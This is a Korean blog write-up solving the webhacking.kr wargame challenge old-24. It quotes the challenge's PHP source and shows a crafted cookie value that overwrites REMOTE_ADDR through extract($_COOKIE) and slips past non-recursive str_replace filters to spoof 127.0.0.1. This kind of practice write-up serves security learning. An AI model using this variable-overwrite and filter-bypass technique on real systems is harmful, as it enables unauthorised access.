[webhacking.kr] old-24번 풀이(Write-up)
2021. 8. 29. 16:52ㆍWargame CTF
문제
분석
IP와 인터넷 브라우저 정보가 담겨져 있습니다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 24</title>
</head>
<body>
<p>
<?php
extract($_SERVER);
extract($_COOKIE);
$ip = $REMOTE_ADDR;
$agent = $HTTP_USER_AGENT;
if($REMOTE_ADDR){
$ip = htmlspecialchars($REMOTE_ADDR);
$ip = str_replace("..",".",$ip);
$ip = str_replace("12","",$ip);
$ip = str_replace("7.","",$ip);
$ip = str_replace("0.","",$ip);
}
if($HTTP_USER_AGENT){
$agent=htmlspecialchars($HTTP_USER_AGENT);
}
echo "<table border=1><tr><td>client ip</td><td>{$ip}</td></tr><tr><td>agent</td><td>{$agent}</td></tr></table>";
if($ip=="127.0.0.1"){
solve(24);
exit();
}
else{
echo "<hr><center>Wrong IP!</center>";
}
?><hr>
<a href=?view_source=1>view-source</a>
</body>
</html>
소스코드를 보면 COOKIE값에 IP값을 조종해서 127.0.0.1로 만들면 될 것 같습니다.
여기서,
.. > .
12 > 공백
7. > 공백
0. > 공백
여기서 replace는 이미 한번 치환한 경우 또 다시 검사를 안하므로 취약점이 터집니다.
10.270...00...00...1
10.270..00..00..1
10.270..00..00..1
127.0.0.1
쿠키를 만든 다음에, 전송해 주면.
정답
'Wargame CTF' 카테고리의 다른 글
[los.rubiya.kr] darkknight - Write up (0) | 2021.08.30 |
---|---|
[los.rubiya.kr] bugbear - Write up (0) | 2021.08.30 |
[los.rubiya.kr] darkknight - Write up (0) | 2021.08.30 |
[webhacking.kr] old-15번 풀이(Write-up) (0) | 2021.08.29 |
[webhacking.kr] old-14번 풀이(Write-up) (0) | 2021.08.29 |